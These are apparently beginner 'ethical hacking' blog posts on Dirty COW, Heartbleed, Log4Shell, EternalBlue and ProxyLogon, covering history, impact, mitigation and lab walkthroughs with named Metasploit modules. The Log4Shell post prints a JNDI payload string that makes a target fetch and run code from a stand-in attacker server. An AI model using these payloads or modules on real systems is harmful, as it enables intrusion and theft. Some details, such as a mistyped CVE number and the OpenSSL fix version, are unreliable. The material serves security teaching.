Posted on

Dirty Cow vulnerability: Beginners guide

Hello, aspiring ethical hackers. This blogpost is a beginner’s guide to Dirty COW vulnerability. Assigned CVEID, CVE-2016-5195, this vulnerability affects Linux kernel version 2.6.21 since 2007. To exploit this vulnerability, the hackers need to first gain initial access on the target system.

What is this Dirty COW vulnerability?

Dirty COW is a Linux privilege escalation vulnerability which is caused due to a race condition in the way the Linux kernel handled copy-on-write functions. The name Dirty COW came from this Copy-On-Write (COW). By exploiting this vulnerability, an unprivileged user can gain access to the read-only memory mapping subsequently elevating their privileges on the system.

Which kernels are vulnerable?

All the Linux kernels from versions 2.x to 4.x before 4.8.7 are vulnerable to this Dirty COW vulnerability. Let’s demonstrate this vulnerability on a Ubuntu 12 system. To exploit this vulnerability, the hackers need to first gain initial access on the target system.

Download this exploit from Github and extract its contents. It is a C program as shown below.

Compile this code using inbuilt GCC compiler in Ubuntu system. This exploit creates a new user named ‘firefart’ with root privileges on the target system by writing to the /etc/passwd file. Usually, creating an user with root privileges in not possible for low privileged users on Linux systems. But this is a privilege escalation vulnerability.

Now, let’s execute the exploit as shown below. It will prompt you to create a new password for the new user “firefart” it is creating.

Login as the newly created user to see if the exploit was successful in exploiting the vulnerability and creating the news user “firefart”.

As you can see, a new user named “firefart” has been created on the target system with root privileges.

Posted on

Heartbleed vulnerability explained

Hello, aspiring Ethical Hackers. In this blogpost, you will learn about Heartbleed vulnerability. This bug was publicly disclosed in 2014 and is rated as one of the most critical security vulnerabilities of the last decade.

What is Heartbleed bug?

Heartbleed is a buffer overread vulnerability that exists in an implementation of an extension in OpenSSL cryptography library. This OpenSSL library is widely used in Transport Layer Security (TLS) protocol. The name of the extension which is used in this OpenSSL library is heartbeat. Hence the name of the bug. Heartbleed can be exploited even if vulnerable OpenSSL is not running as a TLS server or client. In a buffer-over-read vulnerability, more data can be read than usually allowed. See how SSL/TLS works. By exploiting this vulnerability, the private key of the SSL certificate can be read.

Practical Walkthrough

Let’s see how this works. For demonstrating this, I will be using a Vulhub lab to setup a vulnerable instance of heartbleed as shown below.

Once the vulnerable instance is ready, I start Metasploit & load the heartbleed module.

I set the IP address and execute the module.

The module is by default set to scan for the vulnerability and it does exactly that. Apart from this action, this module has other actions.

For example, the “dump” action dumps the content of the memory.

When we set the action to “key”, the private key of the SSL server gets dumped.

Real World Examples

At the time of public disclosure of heartbleed, almost 17% of total web servers were found vulnerable to heartbleed, including Google, Yahoo, DropBox, Facebook etc. Here are some Real-world examples of the exploitation of the heartbleed bug.

Mumsnet:

Mumsnet is a parenting site in United Kingdom. Cyber thieves have obtained passwords and personal messages from Mumsnet by exploiting heatbleed in 2014. Mumsnet has over 1.5 million registered members and there is no idea how many details got hacked.

Canada Revenue Agency:

Social Insurance members of over 900 taxpayers were stolen from Canada Revenue Agency by exploiting heartbleed bug within a 6 hours period on 8 April 2014.

Mitigation and Prevention

The bug was fixed by updating to the latest version of OpenSSL version 1.0.1-9. This version adds bounds check to prevent buffer over read.

Posted on

Log4Shell: The Vulnerability That Shook the Internet

Hello aspiring ethical hackers. In this article you will learn about the Log4shell vulnerability. In December 2021, the cybersecurity world was rocked by a critical vulnerability that affected millions of systems worldwide. Known as Log4Shell, this flaw exposed how something as simple as application logging could turn into a remote code execution nightmare.

The vulnerability was found in Apache Log4j, a widely used Java-based logging library. It was assigned the identifier CVE-2021-44228 and quickly received a severity score of 10/10 (Critical). Within hours of public disclosure, attackers began scanning and exploiting vulnerable systems globally.

Let’s break down what happened, why it was so dangerous and what ethical hackers can learn from it.

What Is Log4j?

Log4j is an open-source logging framework maintained by the Apache Software Foundation. Developers use it to record application activity such as:

  • User logins
  • System errors
  • API requests
  • Debugging information

Logging is essential for troubleshooting and monitoring. However, in this case, a powerful feature inside Log4j became the root cause of a massive security issue.

What Is The Root Cause of the vulnerability?

Log4j supports something called JNDI lookups (Java Naming and Directory Interface). This feature allows Log4j to fetch data from external sources, such as:

  • LDAP servers
  • DNS servers
  • RMI endpoints

Under normal circumstances, this capability can be useful. But the problem was that Log4j automatically interpreted certain user-controlled inputs. For example, if an attacker sent this string:

${jndi:ldap://malicious-server.com/exploit}

Log4j would:

  1. Interpret the ${jndi:…} expression
  2. Reach out to the attacker-controlled LDAP server
  3. Download and execute malicious code

This resulted in Remote Code Execution (RCE) which means attackers could run commands on the vulnerable server without authentication.

Practical Walkhrough

Let’s demonstrate this vulnerability practically for better understanding. For this, first, we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

log4shell

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do).  Let’s check if the new file is created or not. This can be done as shown below.

As you can see, the file has been successfully created. All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

Why Log4Shell Was So Dangerous?

Log4Shell was considered very dangerous because of the reasons given below.

1. Extremely Easy to Exploit:

To exploit this vulnerability, attackers only needed to get the malicious string logged. That could happen through:

  • HTTP headers (User-Agent, Referer)
  • Login fields
  • Chat messages
  • API parameters

If the application logged that input using a vulnerable Log4j version, exploitation could occur instantly.

2. Massive Attack Surface:

Log4j was embedded in:

  • Enterprise software
  • Cloud services
  • Security tools
  • Minecraft servers
  • Network appliances

Many organizations didn’t even realize they were using it because it existed as a dependency inside other software.

3. Wormable Potential:

Security researchers quickly demonstrated that Log4Shell could spread automatically, similar to past internet worms. This raised fears of large-scale internet outages.

Real-World Impact

Within days of disclosure:

  • Cryptominers were deployed on vulnerable servers
  • Botnets incorporated the exploit
  • Ransomware groups began using it
  • Nation-state actors reportedly scanned for exposure

Major cloud providers like Amazon Web Services, Microsoft and Google issued urgent advisories and patches for affected services. The vulnerability affected thousands of products across industries including finance, healthcare, telecom and government sectors.

How It Was Fixed?

The Apache team released patched versions of Log4j. They are,

  • 2.15.0 (initial fix)
  • 2.16.0 (disabled JNDI by default)
  • 2.17.x (additional hardening)

Mitigation steps included:

  • Upgrading to the latest Log4j version
  • Disabling JNDI lookups
  • Removing the JndiLookup class
  • Blocking outbound LDAP/RMI traffic
  • Monitoring logs for exploit patterns

Organizations also began using Software Bill of Materials (SBOM) tools to identify hidden dependencies.

Why Log4Shell Still Matters?

Even years after disclosure, vulnerable systems continue to appear online. Legacy systems, unpatched appliances and abandoned software remain exposed. Log4Shell reminds us that:

  • Open-source doesn’t mean automatically secure
  • Supply chain risks are real
  • Small features can have global consequences

Lessons for Ethical Hackers

Log4Shell is more than just a vulnerability. It’s a case study in secure design.

1. Dependencies Matter:

Even if you write very secure code, third-party libraries can introduce critical risks. Ethical hackers must always enumerate software versions during assessments.

2. Input Should Never Be Trusted:

The vulnerability existed because user-controlled data was interpreted dynamically. Input validation and strict configuration are critical.

3. Logging Can Be an Attack Surface Too:

Most beginners think logging is harmless. Log4Shell proved that even defensive mechanisms can become exploitation vectors.

4. Asset Visibility Is Essential:

Many organizations struggled because they didn’t know where Log4j was running. Visibility is as important as patching.

Conclusion

Log4Shell wasn’t just another CVE. It was a wake-up call for the entire technology industry. A logging feature, designed to make debugging easier, nearly destabilized global infrastructure. For ethical hackers, the takeaway is clear: Always look beyond the obvious attack surface. Sometimes the most dangerous vulnerabilities hide in the most trusted components.

If you’re building your cybersecurity foundation, studying Log4Shell will teach you about dependency risks, input handling, remote code execution and real-world incident response — all in one case study. And that makes it one of the most important vulnerabilities of the modern internet era.

Posted on

EternalBlue: The Vulnerability That Changed Cybersecurity Forever

Hello, aspiring ethical hackers. In this article, you will learn about the infamous EternalBlue vulnerability and its impact in detail. In the world of cybersecurity, some vulnerabilities are remembered not just for how they worked, but for the damage they caused. EternalBlue is one such vulnerability. It played a major role in some of the most destructive cyberattacks in history and serves as an important lesson for anyone beginning their cybersecurity journey.

This article explains what EternalBlue is, why it was so dangerous, how it was abused and what beginners should learn from it.

What is EternalBlue?

EternalBlue is the name given to a critical vulnerability in Microsoft Windows that affected the Server Message Block version 1 (SMBv1) protocol. SMB is used by Windows systems to share files, printers and other resources across a network.

The vulnerability allowed attackers to send specially crafted network messages to a Windows machine and execute code remotely without needing a username or password. This made it a remote code execution (RCE) vulnerability, one of the most serious types in cybersecurity.

Why EternalBlue Was So Dangerous?

EternalBlue stood out because of a few key characteristics:

  • It required no user interaction
  • It worked over the network
  • It allowed full system compromise
  • It could spread automatically between systems

In simple terms, a vulnerable computer could be compromised just by being connected to a network. This made it ideal for worm-like attacks, where malware spreads rapidly from one system to another.

How EternalBlue Became Public?

It is alleged that EternalBlue was originally developed as a cyber weapon and kept secret. In 2017, it was leaked publicly, exposing a powerful attack technique to the world. Once released, attackers quickly integrated this vulnerability into malware, ransomware and automated attack tools. Even though Microsoft released security updates, many systems remained unpatched, creating a large pool of vulnerable targets.

Real-World Attacks That Used EternalBlue

The most famous attacks linked to EternalBlue include,

WannaCry Ransomware:

WannaCry spread rapidly across the globe in 2017, encrypting files and demanding ransom payments. It used EternalBlue to move automatically from one Windows system to another, causing massive disruption to hospitals, businesses and governments.

NotPetya:

NotPetya also leveraged EternalBlue to spread inside corporate networks. Unlike typical ransomware, its primary goal was destruction, not profit. These attacks showed how a single vulnerability could cause global-scale damage.

Why EternalBlue Still Matters Today?

Even years after its disclosure, this vulnerability remains relevant for beginners to study. Reasons include:

  • Many legacy systems still exist
  • Some networks still expose SMB services
  • Poor patch management remains common
  • The vulnerability represents a perfect storm of design flaws and operational failures

EternalBlue reminds us that unpatched systems are a long-term risk, not a short-term problem.

What Beginners Should Understand About EternalBlue?

For cybersecurity beginners, this vulnerability is not about learning how to exploit systems. Instead, it teaches:

  • Why vulnerabilities are classified as “critical”
  • How one flaw can enable large-scale attacks
  • The importance of defense over offense
  • Why security basics matter more than advanced tools

Understanding EternalBlue builds strong foundational thinking.

Proof of Concept

As the vulnerability is so famous (I mean infamous), Metasploit has already released exploit modules for this particular vulnerability.

We are going to test some of these modules on a Windows 7 target. Let’s first use the scanner module of metasploit to test whether this machine is vulnerable to EternalBlue vulnerability.

Set the RHOSTS option and execute the module.

The scanner module confirms that the target is indeed vulnerable. Now, let’s load the module for exploiting Eternal Blue vulnerability and grab a session.

Set all the required options and use “check” command to see if the target is indeed vulnerable.

After all the required options are set, execute the module.

eternalblue

As you can see, we got a meterpreter session on the target system and that too with SYSTEM privileges.

Lessons to defenders from EternalBlue

EternalBlue taught the cybersecurity community several critical lessons. They are,

1. Patch Management Is Essential:

Microsoft released patches before the major attacks occurred. Systems that were updated were protected. Those that weren’t suffered the consequences.

2. Legacy Protocols Are Dangerous:

SMBv1 was outdated and insecure. Disabling unnecessary legacy protocols reduces attack surface.

3. Network Segmentation Matters:

Flat networks allowed malware to spread rapidly. Segmentation can limit the impact of a breach.

4. Exposure Equals Risk:

Services exposed to networks, especially the internet must be carefully controlled and monitored.

Conclusion

EternalBlue is a landmark vulnerability in cybersecurity history. It demonstrated how a single flaw, combined with poor patching and legacy systems could cripple organizations worldwide.

For beginners, EternalBlue is a reminder that cybersecurity is not just about advanced hacking techniques. Often, the most devastating attacks succeed because basic security practices were ignored.

Posted on

ProxyLogon vulnerability for beginners

Hello aspiring ethical hackers. In this article, you will learn about the ProxyLogon, a critical vulnerability that affected the Microsoft Exchange Server.  Back when it was discovered late 2020, there were over 2,50,000 vulnerable Microsoft Exchange Servers.

About the vulnerabilit(ies)y


ProxyLogon is a name given to four zero day vulnerabilities that were detected in the Exchange Server in December 2020. On December 10, 2020, Orange Tsai, security researcher working in DEVCORE, discovered that attackers can combine some vulnerabilities in the Exchange Server to achieve remote code execution on the target and upload a webshell to it. The four vulnerabilities are,

1. CVE-2021-26885:

This is a Server-Side Request Forgery (SSRF) vulnerability in the Exchange Server that allows remote attackers to gain admin access once exploited. This can be exploited by sending a specially crafted web request to a vulnerable Exchange Server. The web request contains an XML SOAP payload directed at the Exchange Web Services (EWS) API endpoint.  This request bypasses authentication using specially crafted cookies. This vulnerability, combined with the knowledge of a victim’s email address, means the attacker can exfiltrate all emails from the target’s Exchange mailbox.

2. CVE-2021-26857:

This is a POST-authentication insecure deserialization vulnerability in the Unified Messaging service of an Exchange Server that allows commands to be run with SYSTEM privileges. The SYSTEM account is used by the operating system and services that run under Windows. A SYSTEM account in Windows has full permissions by default. A hacker can either steal credentials or use the above mentioned vulnerability to execute arbitrary commands on a vulnerable Exchange Server in the security context of SYSTEM.

3. CVE-2021-26858 and CVE-2021-27065

These two vulnerabilities are POST-authentication arbitrary file write vulnerabilities that allow attackers to write files to any path on a vulnerable Exchange Server. A malicious hacker can also exploit the previously mentioned SSRF vulnerability to achieve admin access and then exploit this vulnerability to write web shells to virtual directories (VDirs). These virtual directories are published to the internet by the server’s Internet Information Server (IIS).
IIS is Microsoft’s web server and a dependency that is installed with Exchange Server and provides services for Outlook on the web, previously known as Outlook Web Access (OWA), Outlook Anywhere, ActiveSync, Exchange Web Services, Exchange Control Panel (ECP), the Offline Address Book (OAB) and AutoDiscover.
According to Microsoft, these vulnerabilities were first exploited by HAFNIUM, a Chinese government sponsored APT (Advanced Persistent Threat) but operating out of China. This group is known to install the web shell named China Chopper. As of 12th March 2021, at least 9 other hacker groups exploited these vulnerabilities apart from HAFNIUM.  The versions of Exchange Servers vulnerable to these vulnerabilities are,                   

Exchange Server 2019 < 15.02.0792.010                   
Exchange Server 2019 < 15.02.0721.013                   
Exchange Server 2016 < 15.01.2106.013                   
Exchange Server 2013 < 15.00.1497.012

The exploit is named Proxy Logon as it exploits the proxy architecture and login mechanism in the Exchange Server.

Mitigation and Patches

Microsoft has released a security update on March 2021 to patch these vulnerabilities in Exchange Server versions mentioned above. Applying these patches will fix these vulnerabilities. As soon as Microsoft released these security updates, hacker groups around the world went on a scanning spree to hunt for unpatched Exchange Servers.

As there was a delay in applying patches, Microsoft also released a one-click mitigation tool that fixed these vulnerabilities in Exchange Servers. Microsoft has also noted that this tool named Microsoft Exchange On-Premises Mitigation Tool (EOMT) is helpful for those organizations that don’t have a dedicated IT security staff. This tool also includes the Microsoft Safety Scanner and an URL Rewrite mitigation for CVE-2021-26855. However, it stressed that this tool was not an alternative for applying the released security patches.

Proof Of Concept

Metasploit has some modules related to these vulnerabilities. Let’s have a look at these modules.

The auxiliary/gather/exchange_proxylogon_collector module exploits the CVE-2021-26855 vulnerability and dumps all the contents of the mailboxes.

The exploit/windows/http/exchange_proxylogon_rce module exploits the CVE-2021-26855 vulnerability to bypass authentication and gain admin access and then writes a arbitrary file to the target using CVE-2021-27065 to achieve remote code execution.  All the above mentioned versions are vulnerable by default.

The auxiliary/scanner/http/exchange_proxylogon module checks for the CVE-2021-26855 vulnerability that makes Exchange Servers vulnerable.